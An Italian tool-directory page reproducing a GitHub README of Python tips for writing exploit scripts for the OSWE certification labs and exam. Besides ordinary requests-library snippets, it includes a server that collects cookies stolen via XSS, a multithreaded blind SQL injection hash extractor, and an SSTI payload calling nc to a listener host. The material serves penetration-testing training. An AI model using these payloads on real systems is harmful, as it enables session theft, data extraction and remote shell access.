Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
exploit-writing-for-oswe — Tips on how to write exploit scripts (faster!) | Kitploit
Strumenti/GitHubGitHub/rizemon/exploit-writing-for-oswe
Scripting & AutomationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationCurated ResourcesPayload Development
GitHubrizemon/exploit-writing-for-oswe

exploit-writing-for-oswe

Tips on how to write exploit scripts (faster!)

Vedi Repository
5911122 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Scrittura di Exploit per OSWE

Contesto

Cosa

Questa repository contiene un elenco di snippet e suggerimenti utili riguardanti la scrittura di script di exploit nei laboratori e nell'esame di certificazione OSWE.

Alcuni esempi qui riportati potrebbero andare contro alcune pratiche di programmazione, ma il nostro obiettivo finale è scrivere lo script di exploit in modo rapido e corretto.

La sezione Frammenti di codice è un ottimo punto di partenza se non hai esperienza nell'uso della libreria requests o sei nuovo a Python. In caso contrario, puoi passare direttamente alla sezione Codice riutilizzabile o alla sezione Suggerimenti.

Perché

  • Sebbene esistano molti write-up, recensioni e appunti sulla certificazione, poche risorse si concentrano specificamente sul processo di scrittura degli exploit.
  • Scrivere lo script di exploit può essere scoraggiante, soprattutto per chi è nuovo a Python o ha poca esperienza nell'interazione con applicazioni web tramite codice.
  • Il tempo dedicato all'identificazione delle vulnerabilità e alla documentazione del report d'esame può variare notevolmente, ma il tempo dedicato allo sviluppo dello script di exploit può essere ridotto al minimo e mantenuto costante se padroneggiato bene.

Indice

  • Scrittura di Exploit per OSWE
    • Contesto
      • Cosa
      • Perché
    • Indice
    • Frammenti di codice
      • Template iniziale
      • Import utili
      • Usare la libreria requests
        • Inviare la più semplice richiesta HTTP
        • Specificare diversi metodi HTTP
        • Leggere la risposta HTTP
        • Inviare dati come query string nell'URL (usando l'argomento params)
        • Inviare dati come query string nel corpo (usando l'argomento data)
        • Inviare dati come JSON nel corpo (usando l'argomento json)
        • Inviare un file nel corpo (usando l'argomento files)
        • Impostare gli header HTTP (usando l'argomento headers)
        • Impostare i cookie HTTP (usando l'argomento cookies)

Frammenti di codice

Template iniziale

root@kitploit:~
import requests

def main():
    print("Hello World!")

if __name__ == __main__:
    main()

Import utili

root@kitploit:~
# For sending HTTP requests
import requests

# For Base64 encoding/decoding
from base64 import b64encode, b64decode, urlsafe_b64encode, urlsafe_b64decode

# For getting current time or for calculating time delays
from time import time

# For regular expressions
import re

# For running shell commands
import subprocess

# For multithreading
from concurrent.futures import ThreadPoolExecutor

# For running a HTTP server in the background
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler

# For parsing HTTP cookies
from http import cookies

# For getting command-line arguments
import sys

Usare la libreria requests

Inviare la più semplice richiesta HTTP

root@kitploit:~
resp_obj = requests.get("https://github.com")

Specificare diversi metodi HTTP

root@kitploit:~
# GET method
requests.get("https://github.com")

# POST method
requests.post("https://github.com")

# PUT method
requests.put("https://github.com")

# PATCH method
requests.patch("https://github.com")

# DELETE method
requests.delete("https://github.com")

Leggere la risposta HTTP

root@kitploit:~
resp_obj = requests.get("https://github.com")

# HTTP status code (e.g 404, 500, 301)
resp_obj.status_code

# HTTP response headers (e.g Location, Content-Disposition)
resp_obj.headers["Location"]

# Body as bytes
resp_obj.content

# Body as a string
resp_obj.text

# Body as a dictionary (if body is a JSON)
resp_obj.json()

Inviare dati come query string nell'URL (usando l'argomento params)

root@kitploit:~
params = {
    "foo": "bar"
}

requests.get("https://github.com", params=params)

Inviare dati come query string nel corpo (usando l'argomento data)

root@kitploit:~
data = {
    "foo": "bar"
}

requests.post("https://github.com", data=data)

Inviare dati come JSON nel corpo (usando l'argomento json)

root@kitploit:~
data = {
    "foo": "bar"
}

requests.post("https://github.com", json=data)

Inviare un file nel corpo (usando l'argomento files)

root@kitploit:~
files = {
    #                (FILE_NAME, FILE_CONTENTS, FILE_MIMETYPE)
    "uploaded_file": ("phpinfo.php", b"<?php phpinfo() ?>", "application/x-httpd-php")
}

requests.post("https://github.com", files=files)

Impostare gli header HTTP (usando l'argomento headers)

root@kitploit:~
headers = {
    "X-Forwarded-For": "127.0.0.1"
}

requests.get("https://github.com", headers=headers)

Impostare i cookie HTTP (usando l'argomento cookies)

root@kitploit:~
cookies = {
    "PHPSESSID": "fakesession"
}

requests.get("https://github.com", cookies=cookies)

Disabilitare il seguito dei redirect 3XX (usando l'argomento allow_redirects)

root@kitploit:~
requests.post("https://github.com/login", allow_redirects=False)

Interagire con un server HTTPS non verificato (usando l'argomento verify)

root@kitploit:~
# Supresses InsecureRequestWarning messages
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

requests.get("https://github.com", verify=False)

Inviare una richiesta attraverso un proxy HTTP (usando l'argomento proxies)

root@kitploit:~
proxies = {
    "HTTP": "http://127.0.0.1:8080",
    "HTTPS": "http://127.0.0.1:8080"
}

requests.get("https://github.com", proxies=proxies)

Creare una Session

root@kitploit:~
session = requests.Session()
session.get("https://github.com")

Impostare cookie persistenti

root@kitploit:~
session = requests.Session()
session.cookies.update({"PHPSESSID": "fakesession"})

Impostare header persistenti

root@kitploit:~
session = requests.Session()
session.headers["Authorization"] = "Basic 123"

Risoluzione dei problemi

Usare Wireshark e filtrare per richieste HTTP

  1. Apri Wireshark
  2. Seleziona l'interfaccia VPN (ad es. tun0)
  3. Inserisci http nella barra dei filtri.

Stampare il contenuto della richiesta HTTP

root@kitploit:~
data = {
    "foo": "bar"
}
resp_obj = requests.post("https://github.com", data=data)
prepared_request = resp_obj.request

print("Method:\n", prepared_request.method)
print()
print("URL:\n", prepared_request.url)
print()
print("Headers:\n", prepared_request.headers)
print()
print("Body:\n", prepared_request.body)

Inoltrare la richiesta HTTP attraverso Burp Suite e ispezionarla

  1. Apri Burp Suite
  2. Vai alla scheda "Proxy" e imposta "Intercept" su "On".

Codice riutilizzabile

Servire file via HTTP

root@kitploit:~
LHOST      = "10.0.0.1"
WEB_PORT   = 8000
JS_PAYLOAD = "<script>alert(1)</script>"

def start_web_server():
    class MyHandler(BaseHTTPRequestHandler):
        # Uncomment this method to suppress HTTP logs
        # def log_message(self, format, *args):
        #     return

        def do_GET(self):
            if self.path.endswith('/payload.js'):
                self.send_response(200)
                self.send_header("Content-Type", "application/javascript")
                self.send_header("Content-Length", str(len(JS_PAYLOAD)))
                self.end_headers()
                self.wfile.write(JS_PAYLOAD.encode())
            
    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
    threading.Thread(target=httpd.serve_forever).start()

start_web_server()

Rubare cookie HTTP

root@kitploit:~
LHOST      = "10.0.0.1"
WEB_PORT   = 8000

requests = requests.Session()
xss_event = threading.Event() # Signifies when victim sends their cookie

def send_xss_payload():
    pass

def start_web_server():
    class MyHandler(BaseHTTPRequestHandler):

        def do_GET(self):
            self.send_response(200)
            self.end_headers()

            # Load stolen cookie into session
            _, enc_cookie = self.path.split("/?cookie=", 1)
            plain_cookie = urlsafe_b64decode(enc_cookie).decode()
            session.cookies["PHPSESSID"] = cookies.SimpleCookie(plain_cookie)["PHPSESSID"]

            xss_event.set() # Trigger the event
            
    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
    threading.Thread(target=httpd.serve_forever).start()

start_web_server()
send_xss_payload()
xss_event.wait() # Wait for event to be triggered
print("[+] Stolen cookie:", session.cookies["PHPSESSID"])

Accelerare le SQL injection

root@kitploit:~
MAX_WORKERS = 20
HASH_LENGTH = 32

def exfiltrate_hash():

    def boolean_sqli(arguments):
        idx, ascii_val = arguments
        # ...
        # Perform SQLi and store boolean outcome into truth
        # ...
        return ascii_val, truth

    result = ""

    # Go through each character position
    for idx in range(HASH_LENGTH):

        # Use MAX_WORKERS threads to test possible ASCII values in parallel
        with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
            # Pass each of (0, 32), (0, 33) ..., (0, 126) as an argument to boolean_sqli()
            responses = executor.map(boolean_sqli, [(idx, ascii_val) for ascii_val in range(32, 126)])

        # Go through each response and determine which ASCII value is correct
        for ascii_val, truth in responses:
            if truth:
                result += chr(ascii_val)
                break
    
    return result

hash = exfiltrate_hash()

Suggerimenti

Eseguire un controllo di sanità dopo ogni richiesta HTTP usando assert

  • Rileva se una webshell è stata effettivamente caricata prima di tentare di attivarla
  • Rileva se l'autenticazione è riuscita prima di sfruttare funzionalità autenticate

Esempio:

root@kitploit:~
# Suppose 302 is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data, allow_redirect=False)
assert resp_obj.status_code == 302, "Login not successful"

# Suppose admin page is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data)
assert "Admin Dashboard" in resp_obj.content, "Login not successful"

Stampare messaggi significativi dopo ogni passaggio

  • Azione avviata/completata OPPURE
  • Cookie/token/file/valori recuperati

Esempio:

root@kitploit:~
[+] Parsed command-line arguments and got:
  * BASE_URL: http://example.com
  * LHOST:    127.0.0.1
  * LPORT:    1337
[+] Triggered password reset token generation
[=] Getting password reset token length...
[+] Got password reset token length: 10
[=] Retrieving password reset token...
[+] Got password reset token: FAKE_TOKEN

Separare ogni passaggio di sfruttamento in una propria funzione

Esempio:

root@kitploit:~
def register():
    pass

def login():
    pass

def rce():
    pass

Creare un oggetto Session globale in modo che non debba essere passato esplicitamente a ogni chiamata di funzione

root@kitploit:~
session = requests.Session()

def login():
    session.post(...)

def rce():
    session.post(...)

Creare una stringa globale BASE_URL e costruire gli URL necessari a partire da essa

root@kitploit:~
BASE_URL = ""
session = requests.Session()

def login():
    url = BASE_URL + "/login"
    session.post(url, ...)

def rce():
    url = BASE_URL + "/rce"
    session.post(url, ...)

def main():
    # Allow BASE_URL to be modified
    global BASE_URL
    BASE_URL = sys.argv[1]
...

Per forzare tutte le richieste HTTP attraverso Burp Suite senza usare l'argomento proxies, imposta la variabile d'ambiente HTTP_PROXY / HTTPS_PROXY all'esecuzione

root@kitploit:~
$ HTTP_PROXY=http://127.0.0.1:8080 python3 poc.py

Applica schemi di codifica/decodifica per consentire una trasmissione sicura dei payload

  • Base64
  • Esadecimale

Usa """ per creare la stringa del payload se contiene sia apici singoli (') che doppi apici (")

Esempio:

root@kitploit:~
payload = """This is a '. This is a "."""

Accelera le SQL injection usando il multithreading

Vedi Accelerare le SQL injection.

Codifica manualmente il cookie di un utente autenticato quando sviluppi exploit per funzionalità autenticate

Soprattutto se sono stati necessari molti passaggi dispendiosi in termini di tempo per ottenere una sessione autenticata.

Esempio:

root@kitploit:~
session = requests.Session()

def main():
    # Skipping these for now...
    # register()
    # login()

    # TODO: Delete this line after you are
    # done developing and uncomment the above steps!
    session.cookies["JSESSIONID"] = "ADMIN_COOKIE"

    # Exploit authenticated features...
...

Evita di usare f-strings (f"") o str.format se il payload contiene troppe graffe ({})

Raddoppiare ogni graffa solo per eseguirne l'escape può essere problematico e soggetto a errori. Usa invece semplici segnaposto e fai un .replace()!

Esempio:

root@kitploit:~
# Too many curly braces
ssti_payload = f"{{{{ __import__('os').system('nc {LHOST} {LPORT}') }}}}"
# Much easier to read
ssti_payload = "{{ __import__('os').system('nc <LHOST> <LPORT>') }}"\
    .replace("<LHOST>", LHOST)\
    .replace("<LPORT>", LPORT)
Scarica lo strumento
  • Disabilitare il seguito dei redirect 3XX (usando l'argomento allow_redirects)
  • Interagire con un server HTTPS non verificato (usando l'argomento verify)
  • Inviare una richiesta attraverso un proxy HTTP (usando l'argomento proxies)
  • Creare una Session
  • Impostare cookie persistenti
  • Impostare header persistenti
  • Risoluzione dei problemi
    • Usare Wireshark e filtrare per richieste HTTP
    • Stampare il contenuto della richiesta HTTP
    • Inoltrare la richiesta HTTP attraverso Burp Suite e ispezionarla
  • Codice riutilizzabile
    • Servire file via HTTP
    • Rubare cookie HTTP
    • Accelerare le SQL injection
  • Suggerimenti
    • Eseguire un controllo di sanità dopo ogni richiesta HTTP usando assert
    • Stampare messaggi significativi dopo ogni passaggio
    • Separare ogni passaggio di sfruttamento in una propria funzione
    • Creare un oggetto Session globale in modo che non debba essere passato esplicitamente a ogni chiamata di funzione
    • Creare una stringa globale BASE_URL e costruire gli URL necessari a partire da essa
    • Per forzare tutte le richieste HTTP attraverso Burp Suite senza usare l'argomento proxies, imposta la variabile d'ambiente HTTP_PROXY / HTTPS_PROXY all'esecuzione
    • Applica schemi di codifica/decodifica per consentire una trasmissione sicura dei payload
    • Usa """ per creare la stringa del payload se contiene sia apici singoli (') che doppi apici (\")
    • Accelera le SQL injection usando il multithreading
    • Codifica manualmente il cookie di un utente autenticato quando sviluppi exploit per funzionalità autenticate
    • Evita di usare f-strings (f"") o str.format se il payload contiene troppe graffe ({})